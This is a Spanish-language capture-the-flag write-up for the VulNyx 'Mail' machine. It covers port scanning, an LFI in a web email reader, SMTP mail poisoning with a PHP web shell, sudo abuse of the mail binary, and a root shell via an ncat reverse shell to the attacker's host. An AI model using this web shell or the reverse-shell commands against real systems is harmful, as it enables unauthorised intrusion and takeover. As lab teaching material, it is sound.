VulNyx - Mail
- Mail Poisoning
- Abusing Mail Binary
- Abusing Ncat Binary
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.12
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,25,80 192.168.1.12
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail
| Issuer: commonName=mail
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-13T14:36:50
| Not valid after: 2033-05-10T14:36:50
| MD5: 1d9f76b3665000acf2518ead2dad1eeb
|_SHA-1: 279dee6e082365dddd9636de98215e8fe0bf1bf8
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Email Reader
Service Info: Host: mail.home; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Veo una herramienta para buscar correos electrónicos, pero solo acepta números.
Miro el contenido del código fuente y no hay nada que me llame la atención.
Pongo el número 1 y me muestra este mensaje.
Pongo el número 2 y me muestra otro mensaje.
Aplicando metodología básica encuentro un LFI.
Si escribo directamente el parámetro en la url me salto la validación de la herramienta.
SMTP
Me conecto al servicio smtp a través de telnet para mandar un correo al usuario cain usando la cuenta de abel.
❯ telnet 192.168.1.12 25
Trying 192.168.1.12...
Connected to 192.168.1.12.
Escape character is '^]'.
220 mail.home ESMTP Postfix (Debian/GNU)
MAIL FROM: <abel@mail.nyx>
250 2.1.0 Ok
RCPT TO: <cain@mail.nyx>
250 2.1.5 Ok
En el campo DATA
le añado este pequeño código malicioso y escribo un mensaje de prueba.
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
hi cain you have been hacked!
.
250 2.0.0 Ok: queued as 6E16C36D
Como puedo leer archivos del servidor mediante el LFI me voy a /var/mail/cain que es el buzón del usuario cain y veo el mensaje que he escrito hi cain you have been hacked!.
Compruebo que puedo ejecutar comandos.
Me mando una shell para acceder al sistema como usuario cain.
Después de realizar el tratamiento para la tty hago una enumeración de permisos con sudo.
cain@mail:/home/cain$ sudo -l
Matching Defaults entries for cain on mail:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cain may run the following commands on mail:
(abel) NOPASSWD: /usr/bin/mail
Para pivotar al usuario abel he usado este recurso de gtfobins.
cain@mail:/var/www/html$ sudo -u abel mail --exec='!/bin/bash'
abel@mail:/var/www/html$ id
id
uid=1001(abel) gid=1001(abel) groups=1001(abel)
Privesc
Enumero de nuevo permisos de sudo
abel@mail:~$ sudo -l
Matching Defaults entries for abel on mail:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User abel may run the following commands on mail:
(root) NOPASSWD: /usr/bin/ncat -6 *
abel@mail:~$
Obtengo el root de la siguiente forma.
abel@mail:~$ sudo /usr/bin/ncat -6 fe80::a00:27ff:fead:bba4%enp0s3 1234 -e /bin/bash
Listener ncat.
❯ ncat -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from fe80::a00:27ff:fe03:10d2.
Ncat: Connection from fe80::a00:27ff:fe03:10d2:51246.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@mail:/home/abel# id
id
uid=0(root) gid=0(root) groups=0(root)
Y con esto ya tenemos resuelta la máquina Mail.
Saludos!